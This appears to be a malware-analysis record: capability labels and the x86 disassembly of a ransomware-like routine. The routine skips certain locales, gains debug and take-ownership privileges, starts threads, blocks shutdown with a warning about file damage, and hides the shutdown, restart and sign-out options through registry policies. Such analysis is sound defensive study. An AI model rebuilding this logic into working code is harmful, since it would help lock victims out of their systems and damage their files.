Function at 0x4067e3
Capabilities:
Acquire debug privileges
Create thread
Hide shutdown actions via policy
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
mov eax, dword [0x42e00c]
xor eax, esp
mov dword [esp + 0x238], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
movzx eax, ax
mov ecx, 0x419
cmp ax, cx
je 0x406b14
add ecx, 0x26
cmp ax, cx
je 0x406b14
mov ecx, 0x423
cmp ax, cx
je 0x406b14
dec ecx
cmp ax, cx
je 0x406b14
mov ecx, 0x444
cmp ax, cx
je 0x406b14
push str.89A72EF01
xor edi, edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov esi, eax
test esi, esi
je 0x406b14
push 0x1f4
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x406b14
push esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
push str.PowrProf.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4068a8
push str.PowerSetActiveScheme
push eax
call ebx
test eax, eax
je 0x4068a8
push 0x422350
push edi
call eax
push edi
call fcn.004161cf
pop ecx
push eax
call fcn.00415672
pop ecx
mov ecx, str.SeTakeOwnershipPrivilege
call fcn.004040fc
mov ecx, str.SeDebugPrivilege
call fcn.004040fc
push edi
push edi
push edi
push 0x4066b5
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
xor eax, eax
push eax
push eax
push eax
push 0x406794
push eax
push eax
call edi
push eax
call esi
xor eax, eax
push eax
push eax
push eax
push 0x4067b2
push eax
push eax
call edi
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.NtQueryObject
push str.ntdll.dll
call edi
push eax
call ebx
mov dword [0x42f988], eax
lea eax, [esp + 0x38]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [esp + eax*2 + 0x38]
mov ecx, eax
sub eax, 2
cmp word [eax], 0x5c
jne 0x406942
push ecx
push 0x42f9b0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x42fab8
call esi
push 0x42fb08
call esi
push 0x42fad0
call esi
push str.user32.dll
call edi
push str.ShutdownBlockReasonCreate
push eax
call ebx
mov esi, eax
test esi, esi
je 0x4069ec
xorps xmm0, xmm0
mov dword [esp + 0x10], 0x4067cd
xor ebx, ebx
movlpd qword [esp + 0x14], xmm0
push ebx
mov dword [esp + 0x10], ebx
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x2c], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x34], str.window
call dword [sym.imp.USER32.dll_RegisterClassW]
push ebx
push ebx
push ebx
push ebx
mov ecx, 0x80000000
movzx eax, ax
push ecx
push ecx
push ebx
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
push str.Do_NOT_shutdown_OR_reboot_your_PC:_this_might_damage_your_files_permanently__
push eax
call esi
push ecx
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 1
push eax
push ecx
mov ebx, str.value
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
push ebx
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
push eax
push ecx
push ebx
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
push eax
push ecx
push ebx
call fcn.00403eaf
and dword [esp + 0x44], 0
lea eax, [esp + 0x44]
add esp, 0xc
mov ebx, str.shutdownwithoutlogon
mov edi, str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
mov edx, edi
push eax
push ecx
push ebx
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov esi, str.SOFTWAREPoliciesMicrosoftWindows_NTTerminal_Services
mov edx, esi
push eax
push ecx
push str.MaxConnectionTime
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, esi
push eax
push ecx
push str.MaxDisconnectionTime
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, esi
push eax
push ecx
push str.MaxIdleTime
call fcn.00403eaf
call fcn.004061bf
add esp, 0xc
lea eax, [esp + 0x38]
mov esi, str.value
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideShutDown
push eax
push ecx
push esi
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideRestart
push eax
push ecx
push esi
call fcn.00403eaf
add esp, 0xc
lea eax, [esp + 0x38]
mov edx, str.SOFTWAREMicrosoftPolicyManagerdefaultStartHideSignOut
push eax
push ecx
push esi
call fcn.00403eaf
mov dword [esp + 0x44], 1
lea eax, [esp + 0x44]
add esp, 0xc
push eax
push ecx
push ebx
mov edx, edi
call fcn.00403eaf
mov esi, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
add esp, 0x10
push 0x42fab8
call esi
push 0x42fb08
call esi
push 0x42fad0
call esi
mov ecx, dword [esp + 0x244]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00412408
mov esp, ebp
pop ebp
ret 0x10